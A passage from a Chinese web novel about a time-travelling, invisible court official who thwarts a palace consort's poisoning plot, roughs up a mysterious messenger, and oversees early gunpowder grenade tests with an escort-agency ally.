降服她就别想了,父兄都是从尸山血海中杀出来的铁血帝王,不是照样宠她如宝?放眼整个大郑,谁特么能有这爷俩厉害? 当然了,凡事无绝对,如果她的驸马有特殊长处的话,还是有那么一丢丢可能的。 除了他们四个之外,老文还有几个庶出的儿女。 确切的说,是三子六女。 由于皇后一向强势,所以这些侧室所出的子女们基本都没有什么出头露脸的机会,光是从凌晨做客文家那会儿就能看的出来,连面都见不到。 皇后失势后,他们依旧没有争夺家产的资格和能力。因为文若的底蕴实在太深厚了,在军、政两界拥有仅次于老文的威望和地位,再加上长久以来的等级教育和潜意识压迫,让他们生不出任何较量的心思。 怪就怪在这里,剩下那三位皇子,没有一位是淑妃所出,她只有一个女儿。 隐身立在凝和宫的殿门外,凌晨百思不得其姐……解!解。 算了,想不明白就不想了,这个世界上的伪人这么多,鬼知道淑妃的脑回路是怎么拐的。但愿只是自己的猜想错误,如果真是她搞事情,那也只能辣手摧毁老A8了。 天空中阴雨密布,秋雨淅淅沥沥,湿冷的空气没来由的压抑。 淑妃的宫殿里很安静,长明灯燃烧出淡淡的蜜蜡味,不知道怎么弄的,还混杂着的蔷薇香。 虽然自己的目的是正义的,阳光的,合法且有必要的。但毕竟是第一次做痴汉,还是入室偷窥,目标对象还是老阿姨,凌晨总觉得心理怪怪的。 我什么时候这么变态了…… 殿内的陈设非常简单,除了一些盆栽花卉之外,基本没有什么奢华的物件,甚至还没有凌晨家里的摆件多,很难想象这是大郑帝国后宫之主居住的地方。 凌晨贴在墙边缓缓挪动着脚步来到了偏殿门口,朝着里面一张望—— 淑妃卸去了满脑袋的装饰,长发松弛的披落下来,就穿着一件普普通通、白里隐约透蓝的丝织罗衣,静静的坐在铜炉前,手中捧着一本书,单手撑腮,嘴唇微动,细细品读着。 盯着看了老半天,凌晨都困的想打哈欠了。 “嗒嗒~” 殿外突然传来脚步声,凌晨眨着有些惺忪的眼睛扭头视之,是淑妃的那位贴身女官。 这娘们看着也就不到三十,整个脸胶原蛋白非常饱满,脸上看不到眼睑和面颊、嘴唇和下巴的区分线,不胖不肥,但就是看不见任何能够凸显立体的部位。 眼睛很大,明亮清冷;鼻子也不小,却不觉得突兀;只有人中的深凹处才能让人反应过来她的脸不是二维的。 不算特别惊艳,但也绝对属于让人浮想联翩的范畴。 女官双手并在腰腹前,低着头迈着小碎步走了进去,凌晨蹑手蹑脚的也尾随在她身后,一起跨进了偏殿中。 “娘娘。” 淑妃握着书的手微微向下一放,十分优雅的缓慢抬起眸子,表情看不出悲喜。 女官唤了一声后,见淑妃注意到了自己,就慢慢走到桌案边弯腰低下身子,伸出手附在淑妃耳边,低声说道:“那边的人已经退去了,他今天中午出的门,拐进一个巷子后就不见了。” 淑妃听的一愣。 把脑袋凑在她俩中间的凌晨也微微一愣。 这特么……是在说我吗? 我今中午出门后就是拐进没人的小巷子里隐身的啊,当时没注意到有人盯着我瞅啊…… 监视……不不不! 视奸我?! 屏住呼吸的凌晨缓缓直起身子,看着近在咫尺的淑妃和女官,满脑袋问号。 跟踪我干什么?喜欢就冠名,爱就守护啊,偷偷摸摸做什么? 淑妃将书本合上后放在桌面上,喃喃道:“以前只听旁人说他身手不凡,没想到竟然如此厉害,本宫还是小瞧他了。” 女官睫毛一动,试探着问道:“常言道:老虎也有打盹的时候。功夫再好,也抵不过一滴牵记药,奴婢斗胆相请,要不要……” 凌晨闻言满脸震惊的看向身旁侧脸近乎完美女官,你买了个表的! 这章没有结束,请点击下一页继续阅读!牵记药含士的宁碱,中毒者会全身抽搐,跟牵线木偶一般四肢扭曲神志不清,最后七窍流血而亡。 黑蛇口中芯,黑锋尾上针。 二者皆一般,最毒妇人心。 不是姐们,你人长的这么好看,心肠怎么这么歹毒的?? 36℃的嘴是怎么如此平静的说出如此冰冷的话的?? 关键她提的议案还真能威胁到凌晨,因为他没有买魔女斗篷啊!她们要真这么搞,自己哪里防的住?! 淑妃听后不置可否,静静的思索了一阵后,微微摇头:“现在还不是时候,等他彻底掌控以后,再行决定不迟。” 这句话说的应该不是自己,只是凌晨不清楚说的是谁,看来淑妃还有朋友。 不管刺杀老文的是不是她,凌晨都不能放过眼前这俩娘们了,老子招你惹你了?一上来就给我整这么大个surprise? 你又没儿子,折腾这些干啥?图个啥? 难道让你女儿当女帝吗? 小说看多了? 你给我清醒一点啊喂!这里特么是大郑! 我们多少人夙夜难寐、枕戈待旦才换来今天的一片安宁,多少忠魂埋骨他乡,多少将士马革裹尸,多少老人鞠躬尽瘁,你们想凭空摘桃子?疯了吧? 这是杀了老文和我就能解决的事吗?活着不好吗? 真搞不懂淑妃这娘们脑袋里是咋想的,多么精明聪慧的一个人,怎么好像脑袋里塞满了浆糊似的! “娘娘……”女官表情微微有些迟疑,踌躇了一下后,轻声开口道:“奴婢说句心里话,其实就这样一直下去,挺好的,更进一步……或许不值得。” 淑妃闻言淡淡的看了她一眼,女官被吓的肩膀一颤,连忙跪了下来:“奴婢多嘴!” 淑妃盯着她低下的官帽一言不发,抿着嘴轻轻叹了口气,伸手拉着女官的胳膊,将她扶了起来—— “圈养的青牛没有去过草原,笼中的丝雀没有到过天空,自然生不出向往的心思。可要是去过一次,就再也回不去了。 不登上悬崖,又怎么领略绝顶的风光?攀登的过程也许漫长,但巅峰的风景是值得的。” 女官抬起头呆呆的看着一脸平静的淑妃,而后抿了抿嘴,用力的点了点头。 “奴婢明白了。” “去跟底下的人打个招呼,最近这些日子里,加大药量。” “是。” 女官起身缓缓退到偏殿门口,转过身便要离开。淑妃重新低下头,拿上桌子上的书本,刚想要继续诵读,余光却察觉到一丝异常。 她重新抬起头看向偏殿门口的女官,只见她双臂屈起捂住自己的脖子,整个人以一种奇怪的姿势向后仰着,微微隆起的胸口用力挺向上前方,双腿不断蹬起,浑身都在用力挣扎着。 “砰!” 下一刻,女官猛的摔倒在了地上,整个身子趴着,脑袋偏向桌案这一侧,双眼空洞、口吐鲜血的望向淑妃,鲜血缓缓从她身下和脖颈处流出,形成一滩萦绕周身的不规则的血圈。 淑妃被惊的浑身冰凉,凤目瞪圆,难以置信的站起身来,扶着桌边缓缓向着女官的尸体靠近。 还没等她明白过来究竟发生了什么事,更加让她毛骨悚然的一幕就活生生的展现在了眼前—— 明显已经死透的女官,右胳膊居然动了!! 她的右手小臂缓缓移动,先是放在自己嘴边,朝着淑妃比了个“嘘”的姿势。下一刻,食指又屈着蘸上自己的血迹,在地面上写出了三个字—— 安分点。 淑妃感觉自己的天灵盖快要炸开了!!但心底那股对未知的迷茫和恐惧,硬生生压制住了她想要尖声叫喊“护驾”的冲动!她再也无法保持自己的优雅和淡定,双膝一软无力的瘫倒在地上,整张脸被吓的煞白! 哪怕是有刺客出现在她的面前,当场杀了女官,她也不会如此惊恐。可眼前的这一幕实在太匪夷所思了!远远超出了她的理解范畴。 她一动也不敢动,大口大口的呼吸着,目光在大殿内各个角落里不停的搜寻扫视,冷汗从梳理整齐的鬓边滑落,不住的吞咽口水。 究竟……发生了什么事?! 原来高贵的淑妃娘娘也会被吓的流泪和吸鼻涕,隐身在一旁的凌晨瞬间觉得没意思了,就像突然发现心目中的女神也会拉屎一样让人无语。 而且拉出来的粑粑还不是彩虹色或者亮晶晶的。 一介凡人,妄想弑神? 可笑~ 得亏这隐身能力给到了我这个三好青年身上,要是给到那些压制不住心魔的祖国人身上,淑妃?偶尔心血来潮时的玩物罢了~ 这是第一次警告。 至于是第三次警告后动手,还是下一次直接动手,还是出门吃个饭再杀个回马枪,别问我,我不知道,自己猜去吧~ 命多的话,尽管来试。 凌晨离开凝和宫都过去小半个时辰了,淑妃依旧泪流满面的瘫在地上,浑身发抖着一动也不敢动。直到确信已经过去了这么久,自己应该不会有什么危险后,她才壮着胆子想要起身。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!结果发现,腿麻了…… 毫无形象的双手摸着地面,艰难的爬起身后,淑妃扶着桌子边缘,轻轻的甩了甩腿,这才小心翼翼、忐忑不安的走到女官的尸体旁边,蹲下身子将颤抖的手指放在她的人中部位。 毫无气息。 再摸摸她的脸,冰凉彻骨。 淑妃皱着柳眉看向她早已经僵硬的手指,和地砖上血红的“安分点”三个大字,一屁股坐在偏殿门边,后背靠在木雕门上,努力眨着眼睛让自己冷静下来,回想之前发生的场景。 太可怕了…… 究竟是怎么回事?难道这个世界上真的存在鬼神?因为什么要对女官出手?又为什么独独放过看到了这一切的自己? 安分点? 这是警告吗?是……是陛下请了什么道家释门的高人吗?还是什么障眼法? 陛下发现了吗?还是…… 啊啊啊啊啊啊!!究竟是怎么回事啊?!! 这手敲山震虎、杀鸡儆猴有没有起到作用凌晨不知道,但听说何关被老文臭骂了一通。淑妃娘娘也突然开始吃斋念佛了,并且就寝时必须有七八个侍女立在榻边才能勉强入睡。 照这么看,她应该没有将那天的实情和盘托出。想来也是,说女官自己莫名其妙的死了,死后还给自己做鬼脸写文字,多新鲜呐~ 怕是得当场被内官们拉进冷宫里去,叫御医们轮番拿针扎扎她那不太清醒的脑子,或者喊几个道士和尚驱驱邪。 争奈无人说兴,新来憔悴因他~ 哈哈哈哈哈~~开挂一时爽,一直开挂一直爽! 如果不是怕把老阿姨真给吓成失心疯,凌晨还想继续进宫去逗逗她呢,也不干别的,就等她睡着了在她耳边恶魔低语—— “娘娘~奴婢死的好惨啊~娘娘~奴婢现在是只孤魂野鬼~无法转世投胎啊~” “救我啊娘娘~救我~你当时为什么袖手旁观不救救我~” “娘娘,你这个年纪怎么睡得着的?起来重睡啊娘娘~” 这么一套下来,不疯我跟你姓。 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第206章 专程来消遣洒家? 这事八九不离十就是淑妃干的了,虽然还是不清楚她究竟是为了什么,以及她还有哪些在臭水沟里阴暗爬行的同伙,不过这重要吗? 别的地方不敢说,但是在汴京,是龙得给我盘着,是虎也给我卧着。 …… 骗你的,别的地方也一样~ 汴京以前叫开封,开封府以前叫颍川府。 你去街上打听打听,京城里的老少爷叔、姑嫂姨娘们,谁没有听过我凌晨的名字?我什么阵仗没见过? 赵世中享受过凌氏祛湿火罐,鬼方部参加了黄河自由潜水,自从老子把户籍迁到这里后,只听说过有考进汴京的,谁听说过有打进汴京的? 安安稳稳,大家都有饭吃。 非要不信邪搞事情,我也允许你追逐自己的梦想,但你最好提前把身份证叼嘴里,方便家属认领。 乾元殿,偏殿内。 凌晨坐在垫了绣垫的椅子上,张大着嘴巴舒舒服服的打了个哈欠:“啊——呃~~” 老文撅着嘴发出“嘬嘬嘬”的声音,左手握着一个圆形的食盒,里面全是蚯蚓、毛毛虫之类的恶心玩意儿,还有两只咕蛹的大胖白蚕;右手握着一双银筷子,正在喂笼子里的杂毛鸟。 那鸟通体翠绿,只有脖子上环绕着一圈红黑色的线,嘴喙是通红的,眼睛外圈红,内里纯黑,确实有几分奇异。 “陛下,你从哪里弄来的这只鹦鹉?这看着像是天竺的品种啊~” 老文闻言一愣,扭头看向凌晨:“嗯?见识不少嘛~这是交趾吴光派人不远千里给朕送来的玩意儿,他也说是从天竺商人那里重金购得,朕正在试它以何为食~” “它基本不吃虫子的,您得给它喂稻谷、浆果、林檎、梨、胡萝卜菠菜之类的,最好在弄几根林檎树枝丢进去,能补充纤维素。” 凌晨的话让老文手中动作又是一僵,不禁放下了手中的虫子盒,默默在内官的伺候下洗了洗手。 “你认识?” “嗯,月轮鹦鹉嘛,也算是天竺圣鸟了。” 擦干净手后,老文走到凌晨身旁的椅子上,抖着龙袍前的垂衫坐了下来,舒舒服服的长出了一口气:“既然识得,刚才为何不早早的说?朕在那里逗了它许久,还纳闷怎么不吃呢~” “您也没问呐~我还以为你要把它调成什么逼……” “嗯?” “……” 见势头不对,凌晨连忙转移换题问道:“那个什么吴……吴……” 老文无语的啧了一声,满脸嫌弃的提醒道:“吴光。” “哦对对对,吴光,他送陛下这玩意儿,所图何事?” 老文端着茶杯拨去浮沫,嘬了一口香茗后随口说道:“他说要替朕讨伐刘思,叫朕吩咐张照初和陈瑾助他,一同会猎番禺。” 可能是受《高山下的花环》的影响,凌晨对这帮曾经是一家人,后面分出去各过各的越南猴子没什么好感。 当然了,奥黛校服另说。 仔细想想,历史上的交趾第一次独立,好像就是自己穿过来的这个时期,他们在白藤江之战中击败了南汉,获得了事实上的独立。 可能是因为蝴蝶效应,现在发生了一点小小的变化,吴光竟然反客为主想要攻击刘思。 这大聪明不会是想提兵北伐,逐鹿中原吧? 刘思再怎么不是东西,他统治的岭南也是神州一隅,那里的百姓也是华夏子民。 我家孩子调皮不听话,我会想办法教育。但你一个邻居,送只鹦鹉过来,完了说要打我家孩子,你咋想的? 蛇肉吃的脑子里长寄生虫了? “那陛下收了他的月轮鹦鹉,意思是……” 老文将茶杯放下后,面不改色的说道:“朕叫张照初和陈瑾后撤兵马,让刘思放开手脚去对付吴光。哦对了,你的老上司还以兵部的函授发往牂牁蛮,愿意给刘思帮场子的土司,朝廷会考虑归顺后保留他们的地位财产。” 凌晨目瞪口呆的看着老文:“可您不是收了他的鹦鹉……” “他这么远送过来,千里送鹅毛,礼轻人意重,叫朕如何能忍心拒绝?至于事情么……等中书门下议论完再回复到他那,仗怎么也该打完了。” “……” 要不说人家能当皇帝呢,钱照收,事不办,再回一句“我看这次就算了,下次再说吧~”,理不直气也壮。 吴光能怎么办? 他敢对大郑皇帝不满吗? 凌晨一副受教了的表情,他一般不喜欢也不习惯欠人东西,包括人情和金钱等等各个方面,不还清总觉得忐忑不安。 虽然有时候他也会不讲道理,但那也是站在公理大义的制高点上,无惧一切虫鸟声。 要么就不收,无欲则刚。 收了就必报,刷信誉分。 实在做不到老文这么不要…厚黑。 “人查出来了吗?” 瞎扯淡完了,老文开口问起了正事。 凌晨思考了一下后,还是决定使用保守的话语:“线索彻底断了,没有证据。但大方向找到了,只是这人……” 这章没有结束,请点击下一页继续阅读!老文眯着眼睛沉默了片刻,点着头说道:“朕知道了。” 凌晨能说有方向,就证明这人对他来说压根无所谓,所以太子排除。 但他没有直截了当的说出来,就说明这人对自己还是有点重要的。 是谁,尽在不言中。 没有证据,那就不能明面上处理,哪怕老文是皇帝,做事也得讲究章法和流程,除非不惧非议,抛弃形象。那样的话,得不偿失。 所以,自己注意就行了。 出了宫门后,凌晨回头望了一眼巍峨肃穆的皇宫,撇着嘴摇了摇头。 掌控天下,换来的是灵魂无法安枕。 独守宫廷,要在忐忑不安中生存。 不知道老文有没有后悔过…… “切……” 想了一会后,凌晨释然一笑,背起手走向了马车。解二从马车上取出下马凳,凌晨刚要抬脚踩上马车辕,余光察觉到宫前广场上有人好像朝着自己走了过来。 二人齐齐向着广场最前方的神龙大道旁的酒楼方向,一个看起来三十多岁员外模样的人,不急不缓的来到了自己面前。 凌晨疑惑的看向解二,解二一脸无辜的摇了摇头,表示不认识。 “在下路令和,见过殿帅。” 凌晨将双手塞进袖筒里,一脸疑惑的问道:“哥们,我好像不认识你啊,找我有什么事吗?” 这位路员外依旧保持着行礼的姿势,态度颇为恭敬,笑着答道:“在下有一事欲与殿帅商谈,可否移尊步至下舍……” 凌晨听后立刻就不耐烦了:“不要磨磨蹭蹭的,我的时间很宝贵的,你有什么话就直说。我能在这跟你废话就说明愿意听,你抓紧时间。” “呃……” 路令和闻言面色一僵,在……在这里吗? “非是在下不知好歹,实在是此事事关重大,大庭广众之下,耳目众多……” 凌晨看着眼前这家伙,心中也很疑惑。已经很久没有人主动接近自己,说有事情要偷偷谈了。而且他还知道自己是殿帅,什么事情是不能在这里谈的? “我说你这个人怎么婆婆妈妈的?你既然喊住了我,那就说明这事儿很重要,直接说就是了。老二是我心腹之人,百十米内又没有旁的人,你怕个毛?” 路令和面露为难之色,朝着四周看了看后,还是有些难以启齿。 凌晨烦了:“我给你三个数的时间,要是还不说的话,你就去开封大牢里和狱卒的鞭子说去吧~~ 三。” ? 见解二已经握着拳头朝自己走了过来,路令和急忙摆手说道:“我说,我说,切莫动粗。” 解二的胸膛靠在这位路姓男子的胳膊旁,以一种十分暧昧的距离盯着他的脸上下打量,让他十分的畏惧和不自在。 “殿帅,有位贵人,想和您谈谈。” “谁?” “请恕在下不能说……” 凌晨一副恍然大悟的表情,然后漠然的对解二说道:“老二,把他屎打出来,再打进屎里,就现在,就在这里。” 解二一直盯着路令和的眼睛,在听到凌晨的这句吩咐后,二话不说一拳就揍在了他的眼窝里! “啊——” 惨叫不会换来手软,只会让二爷更加兴奋。解二挥舞着巨大的拳头,将路令和打倒在地上,感觉捶起来有点麻烦后,索性直接上脚往路令和的脑袋上踩! 凌晨在一旁看着地上哀嚎不止的路令和,表情带着一丝轻蔑和不屑。 又要跟我聊天,又不肯露脸,甚至连名字都不敢说。 那我谈什么?跟谁谈? 鬼吗? 这不纯纯跑来消遣洒家么? 不管对方是出于什么目的,有什么要事,凌晨都不在乎。 有求于人就把姿态放低点,平等交流就拿出诚意来,至于说招揽吩咐么…… 你配吗? “哈——” 惺忪着眼睛打了个哈欠后,凌晨扭头看向神龙大道两旁的酒楼和窗户,并没有发现什么人在盯着这里看,于是便无聊的踩着上马凳钻进马车里去了。 秋天就是容易犯困,还赶上下雨天。 解二将路令和揍昏过去后,见怎么踢都踢不出屎来,只好懊恼的将他丢给赶过来的御林银卫,心中思量着刚刚没发挥好,坐上车辕,挥舞起了马鞭。 当凌晨的马车离开,路令和被银卫们拖走后,神龙大道右侧的朝天居,三楼雅间的一扇窗户打开了一条细小的缝。 缝隙中透露出一只眼睛,盯着凌晨刚才站立的地方看了好久,又把窗户合上了。 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第207章 撼天地,震乾坤 最近的局势越来越扑朔迷离了,先有淑妃脑子秀逗了在形势一片大好的情况下刺杀陛下,后有奇怪的小丑拦路说些莫名其妙的话,再加上淑妃还有藏在暗处不敢露面的同伙。 天下还没统一呢,这就已经开始了。 思来想去,凌晨将望云军的精锐老人抽了两百过来,他们都是久经考验的同镇老乡,把他们放进郡公府中加强防范,保护好青柠和腰果最合适不过。 毕竟自己总有不在的时候。 做完了这些以后,他自己孤身一人离开了汴京,来到了同为开封府治下的召陵县。 饼香从街边的小摊飘来,叫卖吆喝声不绝于耳,挂着酒旗的二楼窗户传出一阵放声大笑,竖着招牌的店铺门口走出两位红粉佳人。凌晨牵着马独自走在街上,静静看着满城繁华,脑海中思索着最近发生的事情。 召陵县的物流运输行业非常发达,陈家镖局几乎带动了召陵县二分之一的GDP增长,同时还有大量的人口就业。 许多农家汉子和妇女,甚至还有半大小子,都进入了陈家镖局旗下的各个集散中心全职做工,一般都是丈夫或者妻子一人在家务农,一人出门上工。 当然了,在民以食为天的大郑,尤其是刚刚经历了周朝末期的大动乱,百姓中大部分人都不敢把田地荒芜掉。更多的人还是选择兼职,在农闲时节跑去打零工,用以补贴家用。 男人们负责重活,将从各地发来的物件都集中在一起,拉到前面大院内。女人们按照上面的颜色来区分是发往哪个片区的,归拢好以后再由男人们分别拉进各个分院中。 分院里多是识字的读书人,秀才、学童、准备攒钱上京赴试的待考高材生都有,由他们将物品分类,看看是发往哪个县哪个州的,指挥着妇女们归类好。 最后,又是一群皮肤黝黑的汉子将东西弄上车,送出集散中心。 除了大件物品以外,大部分物件其实都利润不大,但胜在薄利多销,以及行业垄断。 在开封府,没有人敢和陈家镖局抢运输生意,因为是个人都知道,陈啸是靠着反贼和鬼方人的脑袋起家的,你去跟他抢生意,这不是嫌命长吗? 从群众基础来说,陈家镖局养活了不知道多少百姓,将无数家庭从贫困线拉到温饱线以上,有的甚至奔向了小康。召陵知县的业绩全靠他这个销冠挣,只要不是太过分,杀了人都是睁一只眼闭一只眼好吧。 从背景来说,江湖绿林里全是他的朋友和兄弟,开封府尹和他并肩作战过,他和京城步军都指挥使刘青山、望云军都指挥使刘廷让一起带兵去延津县,救过兵部尚书冯延和秦王韩登。 就算是朝堂上的衮衮诸公,动他之前都得好好想想能不能承受的了后果。 乱世出英雄,当年靠打家劫舍为生的土匪,现在也是一方豪强巨擘了。 进入体制内是每一个男人的梦想,但陈啸明显不在此列,作为数次在征战中起到了重要作用的男人,他和他手下的镖师们完全可以混上一口皇粮。 但陈啸已经多次婉拒了张承和冯延抛来的橄榄枝。 他清楚的知道,自己直来直去的性格根本不适合官场的尔虞我诈,能打能杀可不代表能活着告老还乡,还是快意恩仇的江湖生活适合自己。 最重要的是,凌晨也建议他不要进入官场。 他需要陈啸去做一件事。 早在很久以前,大概是凌晨刚搬进汴京城没多久,刮硝制冰的那会儿,他就已经在研究布局穿越必备的大杀器了。 火药。 唐朝末期其实就已经出现了运用于军事领域的火药,但那个时候,这玩意儿主要是用来引燃和帮助纵火的。 发展到现在,大郑也有许多的火药使用的先例,比如诸军马戏的杂技演出,以及木偶戏中的“药发傀儡”、“抱锣”、“硬鬼”、“哑艺剧”等杂技节目,靠“爆仗”和“吐火”制造神秘气氛。 同时还有很多江湖术士用火药表演幻术,比如喷出烟火云雾,遮挡着用来遁人、变物等,以收神奇迷离之效。 有趣的是,大郑的民间高手们也从未停止过对火药的探索,有些医学领域的先驱者还把火药引入治病救人,用于治疗疮癣,以及杀虫、 辟湿气瘟疫等等。 来到宽阔气派的陈家镖局,凌晨看着眼前比自家郡公府还要霸气的门头,感慨不已。 “劳驾,我找陈啸,你就跟他说,汴京来人了。” 站在门前的两个镖师身形魁梧,比凌晨还高,而且浑身都是脂包肌的肥肉,他们的大腿都快赶上凌晨腰粗了。 “稍等。” 其中一个汉子对着凌晨不冷不热的说了一句后,就转身走进了高大的院门内。 正在凌晨驻足欣赏陈啸的公司时,一阵马蹄声由远及近。 几个带着刀的随从护送着一个大腹便便的汉子来到了镖局门前,他们翻身下马,齐齐朝着门前的台阶上直接走去。 “哎?熊老三!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!凌晨有些调侃的喊出那汉子的名字,一行人顿时止住了脚步。熊老三疑惑的皱着眉扭头看了过来,这谁这么没大没小的喊我多年前的浑号? 哎? 熊老三不信邪的揉了揉眼睛—— 我敲!殿帅!! 他连忙拨开挡在身前的几个随从,弓着身双手抱在一起,像个被老师喊到的乖巧小学生一样“噔噔噔”的跑了过来,凑到凌晨身边,露出一副笑嘻嘻的表情: “殿帅,您怎么来啦?怎么不提前差二哥派人来通知一声?我跟大哥好去接您呐~” 当年凌晨从江淮军离开,回望云镇找青柠时,就是这小子跟在陈啸身边。当时他还威胁说“若是惹的爷爷性起”如何如何云云,结果话都还没说完,就被凌晨开口打断,用一身王八之气震慑的哑口无言了。 “老二忙着呢,我也是心血来潮过来转转,已经叫门房去喊老陈了。” 熊老三一听立刻就骂了起来:“这帮小的真是越来越没眼力见了,连您都不认识,竟然还敢叫您站在门外等!我回头就让他们长长记性!” “啧~”凌晨不悦的撇了撇嘴:“他们不认识我,不知者不怪,你小子不要上纲上线啊~” 听到凌晨这么说,熊老三连忙诚惶诚恐的点头说道:“是是是,小的知道了。” “哎,老陈今天是有什么客人吗?既然碰着了,那咱们一起进去找他吧~” 熊老三闻言立马点头让开身子:“是,您请~小的给您带路。” 陈啸正在正堂会见一位来自关东蓬莱的富商,商量生意上的事。听到门房说有人找自己、还是汴京来的后,他习惯性的叫门房去把人带去候客厅先等着,然后就继续聊抽成的比例了。 结果才聊了没一会,就看到熊老三带着凌晨走进了正堂里。 陈啸愣了一下,连忙从虎皮椅子上弹射起来,快速跑到凌晨面前抱拳行礼。 “你忙你的,我没什么事,坐这儿听会儿你们聊天。” 看到凌晨悠哉悠哉的坐在了下首的右一,又抬手示意大家都坐后。陈啸只好随着他的心意,重新回到了上首的椅子上。 那名胖胖的富商也是精明人,一看陈啸刚才还后仰着靠在椅背,两腿打开十分放松;这会却只用半个屁股耽着椅子边,也没有刚才那么漫不经心了,他就知道凌晨不简单。 二人继续商议,凌晨津津有味的听着,还从桌子上的摆盘里扒拉出两个柿饼,随手丢给熊老三一个后,自己就咬着嚼了起来。 “水运从黄河走,要绕到沧州府境内,一路到汴京多花两日行程,但是不必中途装卸。可秦员外装的都是海货,盐腌的不打紧,要论新鲜,还得走陆路。” “镖头说的正是,在下已经将沿途州府都打点好了,独独这濮阳地界,当地老爷是我那对家故旧,在下怕有麻烦……” 陈啸点着头说道:“嗯,我知道了,我会去通知他的,只是……” 秦员外连忙接住陈啸的话茬说道:“在下听说镖头家中有一柄旧刀,乃是青钢陨铁打造。不瞒镖头,小儿近来痴迷武学,对神兵利刃求之若渴,思之不得,已经病入膏肓! 在下愿出白银三万两,以求镖头忍痛割爱,救得小儿性命!若是镖头心中不舍,可再加些数,万望镖头发发慈悲~” “噗——” 一直在旁边吃东西的凌晨,一个没忍住直接笑了出来。 这事儿他也干,但不知道为什么,从秦员外嘴里说出来怎么就莫名的戳中自己的笑点呢~ 他知道不该笑,这样很不礼貌,但实在忍不住呀!哈哈哈哈~~ 秦员外愣愣的看向凌晨,心中略微有些生气,这人怎么这样…… 陈啸见凌晨捂着嘴努力憋笑,顿时就觉得有些尴尬,只想快点结束,于是便挥着手对秦员外说道:“一把破刀而已,一万五千两就够了,这事就这么定了。” 听到陈啸这么说,又惊又喜的秦员外有些忐忑的出声问道:“镖头……这……当真?” 陈啸顿时露出一脸的不耐烦:“这有什么好哄你的?你还想不想救你儿子了?” “想!想啊!如此…便多谢镖头了!” “老三,你代我送一下秦员外。” 正在下方翘着二郎腿给凌晨砸核桃的熊老三听了后,放下手中的小锤子站起身来,将手在衣服上蹭了蹭后,对秦员外做了个“请”的手势——“秦员外,请~” “哎哎哎,多谢镖头,有劳三爷了~” 秦员外向着陈啸行了一礼后,又对着熊老三点了点头,想了一下后,他又朝着凌晨客气的行了个平礼。 凌晨没有起身,不过也在椅子上客客气气的抱着拳晃了晃。 待到他们走出大堂后,凌晨再也不憋了,哈哈大笑起来,指着陈啸上气不接下气的笑道:“我还不知道你的刀有救死扶伤的功能呢!下次老二便秘拉不出来的时候,你也给我一把,我让他抱着拉,肯定能拉出来!哈哈哈哈~~” 本小章还未完,请点击下一页继续阅读后面精彩内容!陈啸从上首走了下来,无奈的看着凌晨叹了一口气,幽怨的撇了撇嘴后,别过脸去哭笑不得。 陈家村的田间地头,方圆数里都被插着木桩子用绳子围了起来,上面写着“内有大虫,切莫靠近”。还有人不间断的骑马巡逻,防止有人闯入。 靠近村子的这边,有几座院子,院子外到处都是穿着黑子的镖师,他们手握腰刀,个个面相凶恶狠厉。凡是有人靠近,就会上前殴打辱骂驱离,若要强闯,直接挥刀砍杀。 凌晨和陈啸站在有“大虫”出没的中心地带的田垄边上,望着眼前满是大坑和焦土、类似月球表面的荒地。 “新磨的糖加进去怎么样?” 凌晨手里抱着一个小陶罐,掏出口子上的白布朝着里面望去,一股熏鼻的火药味传来,上层是一堆铁片、铁钉,下层是实验了快要上千次的火药。 陈啸站在凌晨身边,盯着他手中的陶罐说道:“威力确实大了一点,扎在附近的草人有的杆子都被打折了。但是也更不稳定了,引线的燃烧速度和爆炸时间也受到了影响,不好把控。” 凌晨点了点头后,又从旁边拿起一个鸭梨大小的,用食指指甲敲了敲表面的铁片。 “现在铁匠们的锻造技术怎么样?” 陈啸如实回答道:“已经基本熟练了,包裹的方片是硬铁,连接他们的缝隙是脆铁,有些徒手都能掰碎,跟您要求的标准已经很接近了。” “不炸或者没炸出理想效果的多吗?” “前些日子我从存货里抽了一百颗,趁着雷雨到来之际,借着雷声齐齐试了一遍,百颗里有二十三颗没炸好。” 凌晨听的皱起了眉头,那就说明技术还是太粗糙了啊…… “火折子拿过来。” 听到凌晨要,陈啸立刻从怀里掏出一根火折子,拧开盖帽后对着燃头“呼呼”吹了几口,明火就“哗”的一下窜出来了。 凌晨从陈啸手里接了过去,将引信点燃,却并没有急着扔,而是拿在手中看着引信一点点变短。 陈啸起先很淡定,可慢慢的脸色却变了,最后甚至微微后退了半步,焦急的喊出声来:“公……公爷!” 凌晨挥舞着手臂,用力的朝着远处一甩,手中的铁鸭梨在空中划出一道优美的抛物线。 凌晨立刻和陈啸一起蹲了下来,躲在防护墙的观察孔位置向外看去—— “砰!!” 一团黑烟猛的在离地一两米的中空炸开,滚滚烟团胡乱四射,隐约还能看到一两个细小的铁片。不多时,风将烟团吹散,一切都归于平静。 撼天地,震乾坤!! 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第208章 练箭 阳光洒落,映照在墨衣青衫。 门前枯叶落地,霜起又是一年。 被冯延和大舅哥双双推荐的禁军骑都尉段平,在郡公府朱红廊柱和黑金大门前的台阶上,见到了传说中的殿帅。 看着眼前比自己年纪小上许多,脸上带着淡淡笑意,十分平易近人的凌晨,段平有些恍惚。 统领着大郑京畿十八万禁军的殿前司最高统帅,不仅年纪不大,身上还没有一丝刀剑气。他的周身萦绕着一股从容不迫,由内而外的散发着一种天下尽在掌握的自信。 但他不敢因为对方年纪小就产生轻视之心,作为久在军中的战将和土生土长的汴京人,段平非常了解面前之人的过往事迹和不败传说。 长江水畔刀光剑影,于乱军之中单骑救主。 京郊城外业火连天,十四万贼众灰飞烟灭。 百骑突胡营,可汗授首,豺狼慌作鸟兽散。 孤身向西行,两京归附,龙虎齐聚定三秦。 权倾天下而朝不忌,功盖一代而主不疑。 “你就是段青云啊,我早就听冯尚书和刘指挥使说起过你,是咱们开封人里顶顶的拔尖人儿。说来也巧,我有次碰着城门关闭,在城外段家庄留宿过一晚,刚巧就是你家。 那夜与令尊大人相谈甚欢,受益匪浅,架不住盛情,还劳烦嫂子夜半起身在灶台造炊,吃了一碗你家面呢~现在想想,可不就是缘分么~” 凌晨握住段平的手,笑着就要把他往府里拉。 